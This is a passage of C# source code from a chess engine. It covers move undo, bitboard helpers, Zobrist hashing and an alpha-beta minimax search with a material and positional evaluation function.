this.whiteRooks = this.whiteRooks & ~action.destTile;
this.whitePieces = this.whitePieces & ~action.destTile;
this.zobristHash ^= Zobrist.whiteRook[action.destTile];
if (action.destTile == whiteKSRookStart)
{
this.whiteCastleKS = false;
} else if (action.destTile == whiteQSRookStart)
{
this.whiteCastleQS = false;
}
break;
case PieceType.Knight:
this.whiteKnights = this.whiteKnights & ~action.destTile;
this.whitePieces = this.whitePieces & ~action.destTile;
this.zobristHash ^= Zobrist.whiteKnight[action.destTile];
break;
case PieceType.Bishop:
this.whiteBishops = this.whiteBishops & ~action.destTile;
this.whitePieces = this.whitePieces & ~action.destTile;
this.zobristHash ^= Zobrist.whiteBishop[action.destTile];
break;
case PieceType.Queen:
this.whiteQueens = this.whiteQueens & ~action.destTile;
this.whitePieces = this.whitePieces & ~action.destTile;
this.zobristHash ^= Zobrist.whiteQueen[action.destTile];
break;
case PieceType.EnPass:
this.whitePawns = this.whitePawns & ~(action.destTile << 8);
this.whitePieces = this.whitePieces & ~(action.destTile << 8);
this.zobristHash ^= Zobrist.whitePawn[action.destTile << 8];
break;
}
}
this.pieces = this.whitePieces | this.blackPieces;
this.open = ~this.pieces;
this.turnIsWhite = !this.turnIsWhite;
this.whiteCheck = Threats(this, this.whiteKing, false) != 0;
this.blackCheck = Threats(this, this.blackKing, true) != 0;
this.zobristHash ^= Zobrist.turnIsWhite;
if (this.stateHistory.ContainsKey(lastState))
{
this.stateHistory[lastState] += 1;
} else {
this.stateHistory[lastState] = 1;
}
}
public void Undo()
{
var action = this.actionHistory.Pop();
var undoData = this.actionUndoHistory.Pop();
this.zobristHash = undoData.zobristHash;
this.stateHistory[this.zobristHash] -= 1;
if (this.stateHistory[this.zobristHash] == 0)
{
this.stateHistory.Remove(this.zobristHash);
}
this.halfMoveClock = undoData.halfMoveClock;
var castleSettings = undoData.castleSettings;
this.whiteCheck = undoData.whiteCheck;
this.blackCheck = undoData.blackCheck;
this.turnIsWhite = !this.turnIsWhite;
this.enPassTile = 0;
this.whiteCastleKS = (castleSettings & 0x1) != 0;
this.whiteCastleQS = (castleSettings & 0x2) != 0;
this.blackCastleKS = (castleSettings & 0x4) != 0;
this.blackCastleQS = (castleSettings & 0x8) != 0;
if (this.turnIsWhite)
{
switch (action.pieceType)
{
case PieceType.Pawn:
this.whitePieces = (this.whitePieces | action.srcTile) & ~action.destTile;
this.whitePawns = this.whitePawns | action.srcTile;
switch (action.promotionType)
{
case PieceType.Queen:
this.whiteQueens = this.whiteQueens & ~action.destTile;
break;
case PieceType.Knight:
this.whiteKnights = this.whiteKnights & ~action.destTile;
break;
case PieceType.Bishop:
this.whiteBishops = this.whiteBishops & ~action.destTile;
break;
case PieceType.Rook:
this.whiteRooks = this.whiteRooks & ~action.destTile;
break;
case PieceType.None:
this.whitePawns = this.whitePawns & ~action.destTile;
break;
}
break;
case PieceType.Rook:
this.whiteRooks = (this.whiteRooks | action.srcTile) & ~action.destTile;
this.whitePieces = (this.whitePieces | action.srcTile) & ~action.destTile;
break;
case PieceType.Knight:
this.whiteKnights = (this.whiteKnights | action.srcTile) & ~action.destTile;
this.whitePieces = (this.whitePieces | action.srcTile) & ~action.destTile;
break;
case PieceType.Bishop:
this.whiteBishops = (this.whiteBishops | action.srcTile) & ~action.destTile;
this.whitePieces = (this.whitePieces | action.srcTile) & ~action.destTile;
break;
case PieceType.Queen:
this.whiteQueens = (this.whiteQueens | action.srcTile) & ~action.destTile;
this.whitePieces = (this.whitePieces | action.srcTile) & ~action.destTile;
break;
case PieceType.King:
this.whiteKing = action.srcTile;
this.whitePieces = (this.whitePieces | action.srcTile) & ~action.destTile;
break;
case PieceType.Castle:
this.whiteKing = whiteKingStart;
if ( (action.destTile & whiteKSSpace) != 0 )
{
this.whiteRooks = (this.whiteRooks & ~whiteKSRookDest) | whiteKSRookStart;
this.whitePieces = (this.whitePieces | whiteKingStart | whiteKSRookStart) & ~whiteKSDest & ~whiteKSRookDest;
} else {
this.whiteRooks = (this.whiteRooks & ~whiteQSRookDest) | whiteQSRookStart;
this.whitePieces = (this.whitePieces | whiteKingStart | whiteQSRookStart) & ~whiteQSDest & ~whiteQSRookDest;
}
break;
}
switch (action.attackType)
{
case PieceType.Pawn:
this.blackPawns = this.blackPawns | action.destTile;
this.blackPieces = this.blackPieces | action.destTile;
break;
case PieceType.Rook:
this.blackRooks = this.blackRooks | action.destTile;
this.blackPieces = this.blackPieces | action.destTile;
break;
case PieceType.Knight:
this.blackKnights = this.blackKnights | action.destTile;
this.blackPieces = this.blackPieces | action.destTile;
break;
case PieceType.Bishop:
this.blackBishops = this.blackBishops | action.destTile;
this.blackPieces = this.blackPieces | action.destTile;
break;
case PieceType.Queen:
this.blackQueens = this.blackQueens | action.destTile;
this.blackPieces = this.blackPieces | action.destTile;
break;
case PieceType.EnPass:
this.blackPawns = this.blackPawns | (action.destTile >> 8);
this.blackPieces = this.blackPieces | (action.destTile >> 8);
break;
}
} else { // turn is black
switch (action.pieceType)
{
case PieceType.Pawn:
this.blackPieces = (this.blackPieces | action.srcTile) & ~action.destTile;
this.blackPawns = this.blackPawns | action.srcTile;
switch (action.promotionType)
{
case PieceType.Queen:
this.blackQueens = this.blackQueens & ~action.destTile;
break;
case PieceType.Knight:
this.blackKnights = this.blackKnights & ~action.destTile;
break;
case PieceType.Bishop:
this.blackBishops = this.blackBishops & ~action.destTile;
break;
case PieceType.Rook:
this.blackRooks = this.blackRooks & ~action.destTile;
break;
case PieceType.None:
this.blackPawns = this.blackPawns & ~action.destTile;
break;
}
break;
case PieceType.Rook:
this.blackRooks = (this.blackRooks | action.srcTile) & ~action.destTile;
this.blackPieces = (this.blackPieces | action.srcTile) & ~action.destTile;
break;
case PieceType.Knight:
this.blackKnights = (this.blackKnights | action.srcTile) & ~action.destTile;
this.blackPieces = (this.blackPieces | action.srcTile) & ~action.destTile;
break;
case PieceType.Bishop:
this.blackBishops = (this.blackBishops | action.srcTile) & ~action.destTile;
this.blackPieces = (this.blackPieces | action.srcTile) & ~action.destTile;
break;
case PieceType.Queen:
this.blackQueens = (this.blackQueens | action.srcTile) & ~action.destTile;
this.blackPieces = (this.blackPieces | action.srcTile) & ~action.destTile;
break;
case PieceType.King:
this.blackKing = action.srcTile;
this.blackPieces = (this.blackPieces | action.srcTile) & ~action.destTile;
break;
case PieceType.Castle:
this.blackKing = blackKingStart;
if ( (action.destTile & blackKSSpace) != 0 )
{
this.blackRooks = (this.blackRooks & ~blackKSRookDest) | blackKSRookStart;
this.blackPieces = (this.blackPieces | blackKingStart | blackKSRookStart) & ~blackKSDest & ~blackKSRookDest;
} else {
this.blackRooks = (this.blackRooks & ~blackQSRookDest) | blackQSRookStart;
this.blackPieces = (this.blackPieces | blackKingStart | blackQSRookStart) & ~blackQSDest & ~blackQSRookDest;
}
break;
}
switch (action.attackType)
{
case PieceType.Pawn:
this.whitePawns = this.whitePawns | action.destTile;
this.whitePieces = this.whitePieces | action.destTile;
break;
case PieceType.Rook:
this.whiteRooks = this.whiteRooks | action.destTile;
this.whitePieces = this.whitePieces | action.destTile;
break;
case PieceType.Knight:
this.whiteKnights = this.whiteKnights | action.destTile;
this.whitePieces = this.whitePieces | action.destTile;
break;
case PieceType.Bishop:
this.whiteBishops = this.whiteBishops | action.destTile;
this.whitePieces = this.whitePieces | action.destTile;
break;
case PieceType.Queen:
this.whiteQueens = this.whiteQueens | action.destTile;
this.whitePieces = this.whitePieces | action.destTile;
break;
case PieceType.EnPass:
this.whitePawns = this.whitePawns | (action.destTile << 8);
this.whitePieces = this.whitePieces | (action.destTile << 8);
break;
}
}
this.pieces = this.whitePieces | this.blackPieces;
this.open = ~this.pieces;
}
}
<file_sep>
using System;
using System.Collections.Generic;
using System.Linq;
public static class BitOps
{
public static UInt64 MSB(UInt64 input)
{
if (input == 0) return 0;
UInt64 msb = 1;
if ((input >> 32) == 0)
{
input = input << 32;
} else {
msb = msb << 32;
}
if ((input >> 48) == 0)
{
input = input << 16;
} else {
msb = msb << 16;
}
if ((input >> 56) == 0)
{
input = input << 8;
} else {
msb = msb << 8;
}
if ((input >> 60) == 0)
{
input = input << 4;
} else {
msb = msb << 4;
}
if ((input >> 62) == 0)
{
input = input << 2;
} else {
msb = msb << 2;
}
if ((input >> 63) == 0)
{
input = input << 1;
} else {
msb = msb << 1;
}
return msb;
} // End MSB
public static UInt64 CountBits(UInt64 val)
{
UInt64 count = 0;
while (val != 0)
{
count = count + 1;
val = val & (val - 1);
}
return count;
} // End CountBits
public static byte bbIndex(UInt64 bb)
{
switch (bb)
{
case 1: return 1;
case 2: return 2;
case 4: return 3;
case 8: return 4;
case 16: return 5;
case 32: return 6;
case 64: return 7;
case 128: return 8;
case 256: return 9;
case 512: return 10;
case 1024: return 11;
case 2048: return 12;
case 4096: return 13;
case 8192: return 14;
case 16384: return 15;
case 32768: return 16;
case 65536: return 17;
case 131072: return 18;
case 262144: return 19;
case 524288: return 20;
case 1048576: return 21;
case 2097152: return 22;
case 4194304: return 23;
case 8388608: return 24;
case 16777216: return 25;
case 33554432: return 26;
case 67108864: return 27;
case 134217728: return 28;
case 268435456: return 29;
case 536870912: return 30;
case 1073741824: return 31;
case 2147483648: return 32;
case 4294967296: return 33;
case 8589934592: return 34;
case 17179869184: return 35;
case 34359738368: return 36;
case 68719476736: return 37;
case 137438953472: return 38;
case 274877906944: return 39;
case 549755813888: return 40;
case 1099511627776: return 41;
case 2199023255552: return 42;
case 4398046511104: return 43;
case 8796093022208: return 44;
case 17592186044416: return 45;
case 35184372088832: return 46;
case 70368744177664: return 47;
case 140737488355328: return 48;
case 281474976710656: return 49;
case 562949953421312: return 50;
case 1125899906842624: return 51;
case 2251799813685248: return 52;
case 4503599627370496: return 53;
case 9007199254740992: return 54;
case 18014398509481984: return 55;
case 36028797018963968: return 56;
case 72057594037927936: return 57;
case 144115188075855872: return 58;
case 288230376151711744: return 59;
case 576460752303423488: return 60;
case 1152921504606846976: return 61;
case 2305843009213693952: return 62;
case 4611686018427387904: return 63;
case 9223372036854775808: return 64;
default:
Console.WriteLine("Incorrect bitboard, should have 1 set bit");
throw new System.Exception();
}
} // End bbIndex
}
<file_sep>
using System;
using System.Collections.Generic;
using System.Linq;
public static class Zobrist
{
private static Random rand = new Random(0x16C8E3B0);
private static UInt64 zobristKeyGen()
{
return (UInt64)rand.Next(Int32.MinValue, Int32.MaxValue) | ((UInt64)rand.Next(Int32.MinValue, Int32.MaxValue) << 32);
}
private static Dictionary<UInt64, UInt64> zobristBoardKeyGen()
{
return Enumerable.Range(0, 64).ToDictionary(i => (UInt64)1 << i, i => zobristKeyGen());
}
public static Dictionary<UInt64, UInt64> whitePawn = zobristBoardKeyGen();
public static Dictionary<UInt64, UInt64> whiteRook = zobristBoardKeyGen();
public static Dictionary<UInt64, UInt64> whiteKnight = zobristBoardKeyGen();
public static Dictionary<UInt64, UInt64> whiteBishop = zobristBoardKeyGen();
public static Dictionary<UInt64, UInt64> whiteQueen = zobristBoardKeyGen();
public static Dictionary<UInt64, UInt64> whiteKing = zobristBoardKeyGen();
public static Dictionary<UInt64, UInt64> blackPawn = zobristBoardKeyGen();
public static Dictionary<UInt64, UInt64> blackRook = zobristBoardKeyGen();
public static Dictionary<UInt64, UInt64> blackKnight = zobristBoardKeyGen();
public static Dictionary<UInt64, UInt64> blackBishop = zobristBoardKeyGen();
public static Dictionary<UInt64, UInt64> blackQueen = zobristBoardKeyGen();
public static Dictionary<UInt64, UInt64> blackKing = zobristBoardKeyGen();
public static Dictionary<UInt64, UInt64> enPass = zobristBoardKeyGen(); // TODO: use file! locality caching could be bad here!
public static UInt64 turnIsWhite = zobristKeyGen();
public static UInt64 whiteCastleKS = zobristKeyGen();
public static UInt64 whiteCastleQS = zobristKeyGen();
public static UInt64 blackCastleKS = zobristKeyGen();
public static UInt64 blackCastleQS = zobristKeyGen();
}
<file_sep>using System;
using System.Linq;
using System.Collections.Generic;
static class Extensions
{
public static T MinByValue<T, K>(this IEnumerable<T> source, Func<T, K> selector)
{
var comparer = Comparer<K>.Default;
var enumerator = source.GetEnumerator();
enumerator.MoveNext();
var min = enumerator.Current;
var minV = selector(min);
while (enumerator.MoveNext())
{
var s = enumerator.Current;
var v = selector(s);
if (comparer.Compare(v, minV) < 0)
{
min = s;
minV = v;
}
}
return min;
}
public static T MaxByValue<T, K>(this IEnumerable<T> source, Func<T, K> selector)
{
var comparer = Comparer<K>.Default;
var enumerator = source.GetEnumerator();
enumerator.MoveNext();
var max = enumerator.Current;
var maxV = selector(max);
while (enumerator.MoveNext())
{
var s = enumerator.Current;
var v = selector(s);
if (comparer.Compare(v, maxV) > 0)
{
max = s;
maxV = v;
}
}
return max;
}
}<file_sep>
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Diagnostics;
using static ChessRules;
public static class ChessStrategy
{
/*
TODO
Symmetrical Attacks and turns
King Attacks to threatened squares
Attackers who have multiple targets and threaten king
*/
private static Int64 WinEval = (Int64.MaxValue-1);
private static Int64 LoseEval = -WinEval;
private static Random rand = new Random();
static readonly byte potentialWeight = 2;
static readonly byte materialWeight = 5;
static readonly byte staticWeight = 3;
static readonly byte positionWeight = 1;
/* Material */
static readonly byte QueenMaterial = 180;
static readonly byte RookMaterial = 85;
static readonly byte BishopMaterial = 70;
static readonly byte KnightMaterial = 60;
static readonly byte PawnMaterial = 12;
static readonly byte BishopPairBonus = 40;
/* Static */
static readonly uint QueenExistenceBonus = 500;
static readonly byte CastlePotentialBonus = 20;
static readonly byte CastleBonus = 50;
static readonly byte CastleTurnCutOff = 80;
static readonly byte PawnDifferenceBonus = 15;
static readonly byte[] PawnSquareTable = {
0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,
50, 50, 50, 50, 50, 50, 50, 50,
10, 10, 20, 30, 30, 20, 10, 10,
10, 10, 17, 27, 27, 17, 10, 10,
12, 13, 15, 26, 26, 15, 14, 12,
8 , 10, 10, 17, 17, 10, 10, 8 ,
0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,
0 , 0 , 0 , 0 , 0 , 0 , 0 , 0
};
static readonly byte[] RookSquareTable = {
20, 20, 20, 20, 20, 20, 20, 20,
20, 20, 20, 20, 20, 20, 20, 20,
20, 20, 20, 20, 20, 20, 20, 20,
20, 20, 20, 20, 20, 20, 20, 20,
20, 20, 20, 20, 20, 20, 20, 20,
20, 20, 20, 20, 20, 20, 20, 20,
20, 20, 20, 20, 20, 20, 20, 20,
20, 20, 20, 20, 20, 20, 20, 20
};
static readonly byte[] KingSquareTable = {
0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,
0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,
0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,
0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,
0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,
0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,
25, 25, 10, 10, 10, 10, 25, 25,
25, 30, 20, 10, 10, 20, 30, 25
};
static readonly byte[] KingSquareEndTable = {
0 , 10, 20, 30, 30, 20, 10, 0 ,
10, 20, 30, 40, 40, 30, 20, 10,
20, 30, 40, 50, 50, 40, 30, 20,
30, 40, 50, 55, 55, 50, 40, 30,
30, 40, 50, 55, 55, 50, 40, 30,
20, 30, 40, 50, 50, 40, 30, 20,
10, 20, 30, 40, 40, 30, 20, 10,
0 , 10, 20, 30, 30, 20, 10, 0
};
/* Lines of Attack */
static readonly byte threatenedPenalty = 50;
static readonly byte defendedBonus = 30;
static readonly byte turnSafeMult = 2;
static readonly byte turnThreatMult = 6;
/* Mobility */
static readonly byte KingOpenValue = 1;
static readonly byte QueenOpenValue = 7;
static readonly byte RookOpenValue = 6;
static readonly byte BishopOpenValue = 13;
static readonly byte KnightOpenValue = 6;
static readonly byte PawnOpenValue = 5;
/* Attack */
static readonly byte PawnAttackPawnValue = 70;
static readonly byte PawnAttackRookValue = 100;
static readonly byte PawnAttackKnightValue = 90;
static readonly byte PawnAttackBishopValue = 110;
static readonly byte PawnAttackQueenValue = 140;
static readonly byte PawnAttackKingValue = 30;
static readonly byte RookAttackPawnValue = 30;
static readonly byte RookAttackRookValue = 10;
static readonly byte RookAttackKnightValue = 50;
static readonly byte RookAttackBishopValue = 35;
static readonly byte RookAttackQueenValue = 50;
static readonly byte RookAttackKingValue = 70;
static readonly byte KnightAttackPawnValue = 25;
static readonly byte KnightAttackRookValue = 60;
static readonly byte KnightAttackKnightValue = 20;
static readonly byte KnightAttackBishopValue = 60;
static readonly byte KnightAttackQueenValue = 90;
static readonly byte KnightAttackKingValue = 96;
static readonly byte BishopAttackPawnValue = 8;
static readonly byte BishopAttackRookValue = 80;
static readonly byte BishopAttackKnightValue = 65;
static readonly byte BishopAttackBishopValue = 30;
static readonly byte BishopAttackQueenValue = 40;
static readonly byte BishopAttackKingValue = 55;
static readonly byte QueenAttackPawnValue = 15;
static readonly byte QueenAttackRookValue = 55;
static readonly byte QueenAttackKnightValue = 30;
static readonly byte QueenAttackBishopValue = 10;
static readonly byte QueenAttackQueenValue = 25;
static readonly byte QueenAttackKingValue = 80;
static readonly byte KingAttackPawnValue = 60;
static readonly byte KingAttackRookValue = 60;
static readonly byte KingAttackKnightValue = 60;
static readonly byte KingAttackBishopValue = 60;
/* Defend */
static readonly byte PawnDefendPawnValue = 55;
static readonly byte PawnDefendRookValue = 35;
static readonly byte PawnDefendKnightValue = 50;
static readonly byte PawnDefendBishopValue = 35;
static readonly byte PawnDefendQueenValue = 80;
static readonly byte PawnDefendKingValue = 20;
static readonly byte RookDefendPawnValue = 10;
static readonly byte RookDefendRookValue = 60;
static readonly byte RookDefendKnightValue = 40;
static readonly byte RookDefendBishopValue = 40;
static readonly byte RookDefendQueenValue = 40;
static readonly byte RookDefendKingValue = 40;
static readonly byte KnightDefendPawnValue = 45;
static readonly byte KnightDefendRookValue = 50;
static readonly byte KnightDefendKnightValue = 50;
static readonly byte KnightDefendBishopValue = 50;
static readonly byte KnightDefendQueenValue = 55;
static readonly byte KnightDefendKingValue = 70;
static readonly byte BishopDefendPawnValue = 20;
static readonly byte BishopDefendRookValue = 45;
static readonly byte BishopDefendKnightValue = 45;
static readonly byte BishopDefendBishopValue = 30;
static readonly byte BishopDefendQueenValue = 30;
static readonly byte BishopDefendKingValue = 10;
static readonly byte QueenDefendPawnValue = 10;
static readonly byte QueenDefendRookValue = 40;
static readonly byte QueenDefendKnightValue = 60;
static readonly byte QueenDefendBishopValue = 40;
static readonly byte QueenDefendQueenValue = 80;
static readonly byte QueenDefendKingValue = 50;
static readonly byte KingDefendPawnValue = 40;
static readonly byte KingDefendRookValue = 25;
static readonly byte KingDefendKnightValue = 10;
static readonly byte KingDefendBishopValue = 10;
static readonly byte KingDefendQueenValue = 10;
public static T RandomSelect<T>(List<T> sequence)
{
return sequence[rand.Next(sequence.Count())];
}
public static XAction TLID_ABMinimax(XBoard state, int limitMS, bool playerIsWhite)
{
Stopwatch timer = new Stopwatch();
int depth = 1;
timer.Start();
Tuple<XAction, Int64> action_eval = DL_ABMinimax(state, depth, playerIsWhite);
if (action_eval.Item2 == WinEval)
{
timer.Stop();
return action_eval.Item1;
}
while (timer.ElapsedMilliseconds < limitMS)
{
depth += 1;
action_eval = DL_ABMinimax(state, depth, playerIsWhite);
if (action_eval.Item2 == WinEval)
{
timer.Stop();
return action_eval.Item1;
}
}
timer.Stop();
return action_eval.Item1;
}
public static Tuple<XAction, Int64> DL_ABMinimax(XBoard state, int depth, bool playerIsWhite)
{
Int64 alpha = LoseEval;
Int64 beta = WinEval;
var children = LegalMoves(state);
var bestChild = children[0];
state.Apply(bestChild);
var bestVal = DL_ABMin(state, depth-1, playerIsWhite, alpha, beta);
Console.Write("(" + ChessEngine.tileToFR(bestChild.srcTile) + "-" + ChessEngine.tileToFR(bestChild.destTile) + " " + bestVal + " " + state.whiteCheck + " " + state.blackCheck + ")\t");
state.Undo();
alpha = bestVal;
foreach(var child in children.Skip(1))
{
state.Apply(child);
var val = DL_ABMin(state, depth-1, playerIsWhite, alpha, beta);
Console.Write("(" + ChessEngine.tileToFR(child.srcTile) + "-" + ChessEngine.tileToFR(child.destTile) + " " + val + " " + state.whiteCheck + " " + state.blackCheck + ")\t");
state.Undo();
if (val > bestVal)
{
bestChild = child;
bestVal = val;
alpha = bestVal;
}
}
Console.WriteLine("");
Console.WriteLine("Final Evaluation: " + bestVal);
return Tuple.Create(bestChild, bestVal);
}
private static Int64 DL_ABMax(XBoard state, int depth, bool maxWhite, Int64 alpha, Int64 beta)
{
if (state.stateHistory.ContainsKey(state.zobristHash))
{
if (state.stateHistory[state.zobristHash] >= 2)
{
return 0;
}
}
var numPieces = BitOps.CountBits(state.pieces);
if (numPieces == 2)
{
return 0;
}
if (numPieces == 3)
{
if ( (state.whiteKnights | state.whiteBishops | state.blackKnights | state.blackBishops) != 0)
{
return 0;
}
}
if ( !(state.whiteCheck || state.blackCheck) && (depth == 0)) // Optimization, don't calculate children on noncheckmate
{
if (state.halfMoveClock >= 100)
{
return 0;
}
return Heuristic(state, maxWhite);
}
var children = LegalMoves(state);
if (children.Count() == 0) // Is terminal
{
if (state.whiteCheck || state.blackCheck) // Check Mate
{
return LoseEval;
} else { // Stalemate
return 0;
}
}
if (state.halfMoveClock >= 100)
{
return 0;
}
if (depth == 0 && (state.whiteCheck || state.blackCheck))
{
depth = 1;
}
if (depth == 0)
{
return Heuristic(state, maxWhite);
}
state.Apply(children[0]);
var maxH = DL_ABMin(state, depth-1, maxWhite, alpha, beta);
state.Undo();
if (maxH > alpha)
{
alpha = maxH;
if (maxH >= beta)
{
return beta;
}
}
foreach(var child in children.Skip(1))
{
state.Apply(child);
var hVal = DL_ABMin(state, depth-1, maxWhite, alpha, beta);
state.Undo();
if (hVal > maxH)
{
maxH = hVal;
if (maxH > alpha)
{
alpha = maxH;
if (maxH >= beta)
{
return beta;
}
}
}
}
return maxH;
}
private static Int64 DL_ABMin(XBoard state, int depth, bool maxWhite, Int64 alpha, Int64 beta)
{
if (state.stateHistory.ContainsKey(state.zobristHash))
{
if (state.stateHistory[state.zobristHash] >= 2)
{
return 0;
}
}
var numPieces = BitOps.CountBits(state.pieces);
if (numPieces == 2)
{
return 0;
}
if (numPieces == 3)
{
if ( (state.whiteKnights | state.whiteBishops | state.blackKnights | state.blackBishops) != 0)
{
return 0;
}
}
if ( !(state.whiteCheck || state.blackCheck) && (depth == 0)) // Optimization, don't calculate children on noncheckmate
{
if (state.halfMoveClock >= 100)
{
return 0;
}
return Heuristic(state, maxWhite);
}
var children = LegalMoves(state);
if (children.Count() == 0) // Is terminal
{
if (state.whiteCheck || state.blackCheck) // Check Mate
{
return WinEval;
} else { // Stalemate
return 0;
}
}
if (state.halfMoveClock >= 100)
{
return 0;
}
if (depth == 0 && (state.whiteCheck || state.blackCheck))
{
depth = 1;
}
if (depth == 0)
{
return Heuristic(state, maxWhite);
}
state.Apply(children[0]);
var minH = DL_ABMax(state, depth-1, maxWhite, alpha, beta);
state.Undo();
if (minH < beta)
{
beta = minH;
if (minH < alpha)
{
return alpha;
}
}
foreach(var child in children.Skip(1))
{
state.Apply(child);
var hVal = DL_ABMax(state, depth-1, maxWhite, alpha, beta);
state.Undo();
if (hVal < minH)
{
minH = hVal;
if (minH < beta)
{
beta = minH;
if (minH < alpha)
{
return alpha;
}
}
}
}
return minH;
}
public static XAction HeuristicSelect(XBoard state, List<XAction> sequence, bool playerIsWhite)
{
var bestActions = new List<XAction>();
Int64 bestH;
state.Apply(sequence[0]);
bestH = Heuristic(state, playerIsWhite);
bestActions.Add(sequence[0]);
state.Undo();
foreach (var action in sequence.Skip(1))
{
state.Apply(action);
Int64 val = Heuristic(state, playerIsWhite);
if (val > bestH)
{
bestH = val;
bestActions.Clear();
bestActions.Add(action);
}
else if (val == bestH)
{
bestActions.Add(action);
}
state.Undo();
}
Console.WriteLine("Evaluation: " + bestH);
return RandomSelect(bestActions);
}
public static Int64 Heuristic(XBoard state, bool playerIsWhite)
{
byte turnWhitePenalty = (byte)((state.turnIsWhite) ? turnSafeMult : turnThreatMult);
byte turnBlackPenalty = (byte)((state.turnIsWhite) ? turnThreatMult : turnSafeMult);
UInt64 pieces;
UInt64 piece;
// Potential
UInt64 whiteMaterial = 0;
UInt64 whiteStatic = 0;
UInt64 blackMaterial = 0;
UInt64 blackStatic = 0;
{
UInt64 whiteNumPawns = BitOps.CountBits(state.whitePawns);
UInt64 blackNumPawns = BitOps.CountBits(state.blackPawns);
whiteStatic += PawnDifferenceBonus * (whiteNumPawns - blackNumPawns);
blackStatic += PawnDifferenceBonus * (blackNumPawns - whiteNumPawns);
{ // White Potential
pieces = state.whitePawns;
while (pieces != 0)
{
piece = BitOps.MSB(pieces);
pieces -= piece;
whiteStatic += PawnSquareTable[64 - BitOps.bbIndex(piece)];
}
pieces = state.whiteRooks;
while (pieces != 0)
{
piece = BitOps.MSB(pieces);
pieces -= piece;
whiteStatic += RookSquareTable[64 - BitOps.bbIndex(piece)];
}
if (BitOps.CountBits(pieces) <= 12)
{
whiteStatic += KingSquareEndTable[64 - BitOps.bbIndex(state.whiteKing)];
} else {
whiteStatic += KingSquareTable[64 - BitOps.bbIndex(state.whiteKing)];
}
whiteMaterial += PawnMaterial * whiteNumPawns;
whiteMaterial += RookMaterial * BitOps.CountBits(state.whiteRooks);
whiteMaterial += KnightMaterial * BitOps.CountBits(state.whiteKnights);
whiteMaterial += BishopMaterial * BitOps.CountBits(state.whiteBishops);
whiteMaterial += QueenMaterial * BitOps.CountBits(state.whiteQueens);
if (state.whiteQueens != 0)
{
whiteStatic += QueenExistenceBonus;
}
if (state.whiteCastleKS)
{
whiteStatic += CastlePotentialBonus;
}
if (state.whiteCastleQS)
{
whiteStatic += CastlePotentialBonus;
}
if (!state.whiteCastleKS && !state.whiteCastleQS && state.stateHistory.Count() < CastleTurnCutOff)
{
if (state.whiteKing == whiteKSDest || state.whiteKing == whiteQSDest || ((state.whiteRooks & (whiteKSRookDest | whiteQSRookDest)) != 0))
{
whiteStatic += CastleBonus;
}
}
if (BitOps.CountBits(state.whiteBishops) >= 2) {
whiteMaterial += BishopPairBonus;
}
} // End White Potential
{ // Black Potential
pieces = state.blackPawns;
while (pieces != 0)
{
piece = BitOps.MSB(pieces);
pieces -= piece;
blackStatic += PawnSquareTable[BitOps.bbIndex(piece) - 1];
}
pieces = state.blackRooks;
while (pieces != 0)
{
piece = BitOps.MSB(pieces);
pieces -= piece;
blackStatic += RookSquareTable[BitOps.bbIndex(piece) - 1];
}
if (BitOps.CountBits(pieces) <= 12)
{
blackStatic += KingSquareEndTable[BitOps.bbIndex(state.blackKing) - 1];
} else {
blackStatic += KingSquareTable[BitOps.bbIndex(state.blackKing) - 1];
}
blackMaterial += PawnMaterial * blackNumPawns;
blackMaterial += RookMaterial * BitOps.CountBits(state.blackRooks);
blackMaterial += KnightMaterial * BitOps.CountBits(state.blackKnights);
blackMaterial += BishopMaterial * BitOps.CountBits(state.blackBishops);
blackMaterial += QueenMaterial * BitOps.CountBits(state.blackQueens);
if (state.blackQueens != 0)
{
blackStatic += QueenExistenceBonus;
}
if (state.blackCastleKS)
{
blackStatic += CastlePotentialBonus;
}
if (state.blackCastleQS)
{
blackStatic += CastlePotentialBonus;
}
if (!state.blackCastleKS && !state.blackCastleQS && state.stateHistory.Count() < CastleTurnCutOff)
{
if (state.blackKing == blackKSDest || state.blackKing == blackQSDest || ((state.blackRooks & (blackKSRookDest | blackQSRookDest)) != 0))
{
blackStatic += CastleBonus;
}
}
if (BitOps.CountBits(state.blackBishops) >= 2) {
blackMaterial += BishopPairBonus;
}
} // End Black Potential
}
UInt64 whitePotential = materialWeight * whiteMaterial + staticWeight * whiteStatic;
UInt64 blackPotential = materialWeight * blackMaterial + staticWeight * blackStatic;
// Position
UInt64 whitePosition = 0;
UInt64 blackPosition = 0;
UInt64 defendedWhitePositions = 0;
UInt64 threatenedWhitePositions = 0;
UInt64 defendedBlackPositions = 0;
UInt64 threatenedBlackPositions = 0;
{ // White Pawns
UInt64 pawnAttacks = ((state.whitePawns & NotHFile) << 7) | ((state.whitePawns & NotAFile) << 9);
threatenedBlackPositions = threatenedBlackPositions | (pawnAttacks & state.blackPieces);
defendedWhitePositions = defendedWhitePositions | (pawnAttacks & state.whitePieces);
whitePosition = whitePosition + PawnOpenValue * BitOps.CountBits(pawnAttacks & state.open);
whitePosition = whitePosition + PawnAttackPawnValue * BitOps.CountBits(pawnAttacks & state.blackPawns );
whitePosition = whitePosition + PawnAttackRookValue * BitOps.CountBits(pawnAttacks & state.blackRooks );
whitePosition = whitePosition + PawnAttackKnightValue * BitOps.CountBits(pawnAttacks & state.blackKnights);
whitePosition = whitePosition + PawnAttackBishopValue * BitOps.CountBits(pawnAttacks & state.blackBishops);
whitePosition = whitePosition + PawnAttackQueenValue * BitOps.CountBits(pawnAttacks & state.blackQueens );
whitePosition = whitePosition + PawnAttackKingValue * BitOps.CountBits(pawnAttacks & state.blackKing );
whitePosition = whitePosition + PawnDefendPawnValue * BitOps.CountBits(pawnAttacks & state.whitePawns );
whitePosition = whitePosition + PawnDefendRookValue * BitOps.CountBits(pawnAttacks & state.whiteRooks );
whitePosition = whitePosition + PawnDefendKnightValue * BitOps.CountBits(pawnAttacks & state.whiteKnights);
whitePosition = whitePosition + PawnDefendBishopValue * BitOps.CountBits(pawnAttacks & state.whiteBishops);
whitePosition = whitePosition + PawnDefendQueenValue * BitOps.CountBits(pawnAttacks & state.whiteQueens );
whitePosition = whitePosition + PawnDefendKingValue * BitOps.CountBits(pawnAttacks & state.whiteKing );
}
{ // Black Pawns
